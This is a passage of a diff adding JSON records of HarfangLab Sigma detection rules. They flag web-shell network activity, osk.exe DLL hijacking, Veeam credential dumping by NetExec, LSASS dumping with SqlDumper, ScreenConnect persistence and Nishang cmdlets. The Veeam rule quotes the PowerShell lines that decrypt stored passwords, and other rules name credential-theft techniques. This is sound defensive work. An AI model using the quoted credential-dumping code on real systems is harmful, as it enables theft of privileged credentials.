'?:\\CARLappl\\CSAdmin\\server\\bin\\tomcat?.exe'\n        DestinationPort: '445'\n\n    exclusion_netgear:\n        ProcessImage: '?:\\Program Files\\NMS300\\NMS300\\apache-tomcat-*\\bin\\tomcat?.exe'\n        DestinationPort:\n            - '22'\n            - '445'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ea71ee12-4cfd-47a1-9258-3e0faa2f3769",
+  "rule_name": "Suspicious Network Activity from Web Server (Windows)",
+  "rule_description": "Detects suspicious network communications by a web server related to a possible web shell.\nAdversaries may backdoor web servers with web shells to establish persistent access to systems or to move laterally within a network.\nTools like reGeorg can be used by attackers to pivot inside the compromised environment.\nIt is recommended to verify the legitimacy of this network connection and check any other command executed by the web server.\n",
+  "rule_creation_date": "2023-10-27",
+  "rule_modified_date": "2025-10-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021",
+    "attack.t1505.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ea9b1c80-b061-4116-a1ca-a492c161946d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602552Z",
+  "creation_date": "2026-03-23T11:45:34.602555Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602563Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mandiant.com/resources/blog/arbitrary-file-deletion-vulnerabilities",
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_osk.yml",
+  "content": "title: DLL Hijacking via osk.exe\nid: ea9b1c80-b061-4116-a1ca-a492c161946d\ndescription: |\n    Detects potential Windows DLL Hijacking via osk.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.mandiant.com/resources/blog/arbitrary-file-deletion-vulnerabilities\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'osk.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\AUDIOSES.DLL'\n            - '\\AVRT.dll'\n            - '\\DEVOBJ.dll'\n            - '\\dui70.dll'\n            - '\\duser.dll'\n            - '\\dwmapi.dll'\n            - '\\ksuser.dll'\n            - '\\midimap.dll'\n            - '\\MMDevAPI.DLL'\n            - '\\MSACM32.dll'\n            - '\\OLEACC.dll'\n            - '\\OskSupport.dll'\n            - '\\WindowsCodecs.dll'\n            - '\\winmm.dll'\n            - '\\WMsgAPI.dll'\n            - '\\HID.dll' # osk.exe process first looks for C:\\Program Files\\Common Files\\microsoft shared\\ink\\HID.dll, rather than its original location at C:\\Windows\\System32\\HID.dll\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ea9b1c80-b061-4116-a1ca-a492c161946d",
+  "rule_name": "DLL Hijacking via osk.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via osk.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "eab58a58-82b3-49a7-b89d-65ed296ee5ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073236Z",
+  "creation_date": "2026-03-23T11:45:34.073238Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073242Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Pennyw0rth/NetExec/blob/1af282888cd514cf9b4a08ff7caeb26c64625d90/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1",
+    "https://github.com/Pennyw0rth/NetExec/blob/1af282888cd514cf9b4a08ff7caeb26c64625d90/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1",
+    "https://attack.mitre.org/techniques/T1555/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1555_netexec_veeam_password.yml",
+  "content": "title: Veeam Password Dumped via NetExec\nid: eab58a58-82b3-49a7-b89d-65ed296ee5ef\ndescription: |\n    Detects common PowerShell script commands used by NetExec for dumping Veeam credentials.\n    Veeam is a backup solution often targeted by attackers due to its use of highly privileged accounts.\n    NetExec is a tool commonly used by adversaries to facilitate lateral movement, internal reconnaissance, and credential gathering actions.\n    The dumping of credentials could indicate an attempt to compromise Veeam's privileged access for further network traversal or backup destruction.\n    It is recommended to investigate the actions performed by the child process to determine if they are legitimate and review authentication logs to identify the source of the remote connection.\n    Additionally, consider reviewing Veeam's configuration and permissions to ensure they are secure and align with organizational policies.\nreferences:\n    - https://github.com/Pennyw0rth/NetExec/blob/1af282888cd514cf9b4a08ff7caeb26c64625d90/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1\n    - https://github.com/Pennyw0rth/NetExec/blob/1af282888cd514cf9b4a08ff7caeb26c64625d90/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1\n    - https://attack.mitre.org/techniques/T1555/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2024/07/23\nmodified: 2025/02/06\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.HackTool.NetExec\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - 'Add-Type -assembly System.Security'\n            - '#Decrypting passwords using DPAPI'\n            - '$rows | ForEach-Object -Process {'\n            - '$EnryptedPWD = [Convert]::FromBase64String($_.password)'\n            - '$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )'\n            - '$enc = [system.text.encoding]::Default'\n            - '$_.password = $enc.GetString($ClearPWD)'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "eab58a58-82b3-49a7-b89d-65ed296ee5ef",
+  "rule_name": "Veeam Password Dumped via NetExec",
+  "rule_description": "Detects common PowerShell script commands used by NetExec for dumping Veeam credentials.\nVeeam is a backup solution often targeted by attackers due to its use of highly privileged accounts.\nNetExec is a tool commonly used by adversaries to facilitate lateral movement, internal reconnaissance, and credential gathering actions.\nThe dumping of credentials could indicate an attempt to compromise Veeam's privileged access for further network traversal or backup destruction.\nIt is recommended to investigate the actions performed by the child process to determine if they are legitimate and review authentication logs to identify the source of the remote connection.\nAdditionally, consider reviewing Veeam's configuration and permissions to ensure they are secure and align with organizational policies.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-02-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1555"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "eaba0d6e-91a2-4932-8dd6-3f4126ec4d7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072586Z",
+  "creation_date": "2026-03-23T11:45:34.072588Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072593Z",
+  "rule_level": "low",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1136/002/"
+  ],
+  "name": "t1136_net_create_domain_account.yml",
+  "content": "title: Domain User Account Created via net.exe\nid: eaba0d6e-91a2-4932-8dd6-3f4126ec4d7b\ndescription: |\n    Detects the creation of a domain user account via net1.exe.\n    Adversaries may create a domain account to maintain access to victim systems.\n    It is recommended to check the legitimacy of this action and that it is carried out by an authorized administrator.\nreferences:\n    - https://attack.mitre.org/techniques/T1136/002/\ndate: 2023/03/08\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1136.002\n    - attack.initial_access\n    - attack.t1078.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.AccountManipulation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n\n    selection_args:\n        CommandLine|contains|all:\n            - ' user'\n            - '/add'\n            - '/domain'\n\n    exclusion_dir:\n        - CurrentDirectory|endswith: '\\copssh\\home\\syncldap\\'\n        - Username|endswith: '\\syncldap'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "eaba0d6e-91a2-4932-8dd6-3f4126ec4d7b",
+  "rule_name": "Domain User Account Created via net.exe",
+  "rule_description": "Detects the creation of a domain user account via net1.exe.\nAdversaries may create a domain account to maintain access to victim systems.\nIt is recommended to check the legitimacy of this action and that it is carried out by an authorized administrator.\n",
+  "rule_creation_date": "2023-03-08",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078.002",
+    "attack.t1136.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "eadf1fb9-7a50-4c8c-ae23-1a7034cdb55c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087193Z",
+  "creation_date": "2026-03-23T11:45:34.087195Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087199Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_memory_dump_sqldumper.yml",
+  "content": "title: LSASS Process Memory Dumped via SqlDumper.exe\nid: eadf1fb9-7a50-4c8c-ae23-1a7034cdb55c\ndescription: |\n    Detects an attempt to dump the LSASS' process memory using SqlDumper.exe.\n    Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\n    It is recommended to analyze the parent process for suspicious activities, investigate any further malicious actions on the host and to start memory forensics to determine stolen credentials.\nreferences:\n    - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2022/07/21\nmodified: 2025/02/07\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.LOLBin.SqlDumper\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        TargetImage|endswith: '\\lsass.exe'\n        GrantedAccessStr|contains: 'PROCESS_VM_READ'\n        ProcessOriginalFileName: 'SqlDumper.exe'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "eadf1fb9-7a50-4c8c-ae23-1a7034cdb55c",
+  "rule_name": "LSASS Process Memory Dumped via SqlDumper.exe",
+  "rule_description": "Detects an attempt to dump the LSASS' process memory using SqlDumper.exe.\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\nIt is recommended to analyze the parent process for suspicious activities, investigate any further malicious actions on the host and to start memory forensics to determine stolen credentials.\n",
+  "rule_creation_date": "2022-07-21",
+  "rule_modified_date": "2025-02-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "eae16484-81b2-44df-893e-fa3bbad6136d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071985Z",
+  "creation_date": "2026-03-23T11:45:34.071987Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071991Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/",
+    "https://attack.mitre.org/techniques/T1543/003/",
+    "https://attack.mitre.org/software/S0591/"
+  ],
+  "name": "t1543_003_suspicious_screenconnect_service.yml",
+  "content": "title: ScreenConnect Persistent Service Created\nid: eae16484-81b2-44df-893e-fa3bbad6136d\ndescription: |\n    Detects the creation of a service registry key associated with a ScreenConnect guest beacon.\n    Attackers often use ScreenConnect as a remote access tool both for its simplicity and stealth as a legitimate application.\n    ScreenConnect can be installed in unattended mode in which it creates a service for persistence across reboots.\n    It is recommended to analyze actions performed by the ScreenConnect binary as well as to check whether its presence is legitimate.\nreferences:\n    - https://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/\n    - https://attack.mitre.org/techniques/T1543/003/\n    - https://attack.mitre.org/software/S0591/\ndate: 2024/07/15\nmodified: 2025/06/27\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1543.003\n    - attack.command_and_control\n    - attack.t1219.002\n    - attack.s0591\n    - classification.Windows.Source.Registry\n    - classification.Windows.RMM.ScreenConnect\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: registry_event\n    product: windows\ndetection:\n    selection:\n        TargetObject|endswith: '\\\\*ControlSet*\\Services\\\\*\\ImagePath'\n        Details|contains|all:\n            - 'ScreenConnect.ClientService.exe'\n            - 'e=Access'\n            - 'y=Guest'\n            - 'h='\n\n    exclusion_windowssetup:\n        ProcessImage:\n            - '?:\\$WINDOWS.~BT\\Sources\\setupplatform.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\setuphost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "eae16484-81b2-44df-893e-fa3bbad6136d",
+  "rule_name": "ScreenConnect Persistent Service Created",
+  "rule_description": "Detects the creation of a service registry key associated with a ScreenConnect guest beacon.\nAttackers often use ScreenConnect as a remote access tool both for its simplicity and stealth as a legitimate application.\nScreenConnect can be installed in unattended mode in which it creates a service for persistence across reboots.\nIt is recommended to analyze actions performed by the ScreenConnect binary as well as to check whether its presence is legitimate.\n",
+  "rule_creation_date": "2024-07-15",
+  "rule_modified_date": "2025-06-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219.002",
+    "attack.t1543.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "eafcd13f-3580-42be-8cb8-c6181e0313be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618033Z",
+  "creation_date": "2026-03-23T11:45:34.618035Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618040Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/operation-applejeus/87553/",
+    "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/",
+    "https://attack.mitre.org/techniques/T1204/002/"
+  ],
+  "name": "t1204_002_suspicious_folder_execution_macos.yml",
+  "content": "title: Process Executed From a Suspicious Folder (macOS)\nid: eafcd13f-3580-42be-8cb8-c6181e0313be\ndescription: |\n    Detects execution of a process from a suspicious folder.\n    Adversaries may try to execute binaries from uncommon directories in order to bypass security features or hide malicious binaries.\n    It is recommended to check the executed process and its parents/children for malicious behavior.\nreferences:\n    - https://securelist.com/operation-applejeus/87553/\n    - https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/\n    - https://attack.mitre.org/techniques/T1204/002/\ndate: 2024/05/15\nmodified: 2025/10/13\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection_bin:\n        ProcessImage|re:\n            - '^(?i)/private/var/[^/]*$'\n            - '^(?i)/private/tmp/[^/]*$'\n            - '^(?i)/private/etc/.*'\n            - '^(?i)/private/var/root/.*'\n\n    # selection_shell:\n    #     ProcessImage:\n    #         - '/bin/bash'\n    #         - '/bin/sh'\n    #         - '/bin/zsh'\n\n    # selection_shell_cwd:\n    #     CommandLine|re:\n    #         - (?i)/private/tmp/[^/'\" ]*$\n    #         - '(?i)/private/tmp/[^/]+ *$'\n    #         - '(?i)/private/tmp/[^/]+\"$'\n    #         - \"(?i)/private/tmp/[^/]+'$\"\n\n    exclusion_air_engine:\n        # https://github.com/air-verse/air/\n        ProcessImage: '/private/tmp/engine'\n        ProcessParentImage|endswith: '/go/bin/air'\n\n    exclusion_p5sys_jump:\n        ProcessImage|startswith: '/private/var/root/library/caches/com.p5sys.jump.connect/org.sparkle-project.sparkle/jump desktop connect (autoupdate).app/contents/macos/'\n\n    exclusion_manageengine:\n        ProcessGrandparentImage: '/Library/ManageEngine/UEMS_Agent/bin/dcagentservice'\n\n    exclusion_meraki:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.meraki.m_agent'\n\n    exclusion_adobe:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.adobe.AdobeResourceSynchronizer'\n\n    exclusion_forti:\n        - Image:\n            - '/private/etc/FortiClient/upgrade/fcdeployd'\n            - '/private/etc/fct_upgrade/SendFailureReport'\n        - ParentImage: '/private/etc/FortiClient/upgrade/fcdeployd'\n\n    exclusion_cursor:\n        GrandparentCommandLine|startswith: '/Applications/Cursor.app/Contents/Frameworks/Cursor Helper (Plugin).app/Contents/MacOS/Cursor Helper (Plugin) --type=utility '\n\n    exclusion_studio_code:\n        GrandparentCommandLine|startswith: '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper --type=utility '\n\n    condition: selection_bin and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "eafcd13f-3580-42be-8cb8-c6181e0313be",
+  "rule_name": "Process Executed From a Suspicious Folder (macOS)",
+  "rule_description": "Detects execution of a process from a suspicious folder.\nAdversaries may try to execute binaries from uncommon directories in order to bypass security features or hide malicious binaries.\nIt is recommended to check the executed process and its parents/children for malicious behavior.\n",
+  "rule_creation_date": "2024-05-15",
+  "rule_modified_date": "2025-10-13",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "eb11687b-d8b4-4ee5-bff4-32c03dd6e493",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606822Z",
+  "creation_date": "2026-03-23T11:45:34.606825Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606833Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/samratashok/nishang",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_nishang_script.yml",
+  "content": "title: Malicious PowerShell Nishang Commandlets\nid: eb11687b-d8b4-4ee5-bff4-32c03dd6e493\ndescription: |\n    Detects various malicious commandlets in PowerShell's command-line, generally associated with the Nishang framework.\n    Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming.\n    It is recommended to investigate actions performed by attackers using the Nishang framework and to isolate infected systems.\nreferences:\n    - https://github.com/samratashok/nishang\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2021/06/22\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.defense_evasion\n    - attack.t1059.001\n    - attack.command_and_control\n    - attack.t1095\n    - attack.collection\n    - attack.t1115\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Framework.Nishang\n    - classification.Windows.Script.PowerShell\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains:\n            - 'Add-ScrnSaveBackdoor '\n            - 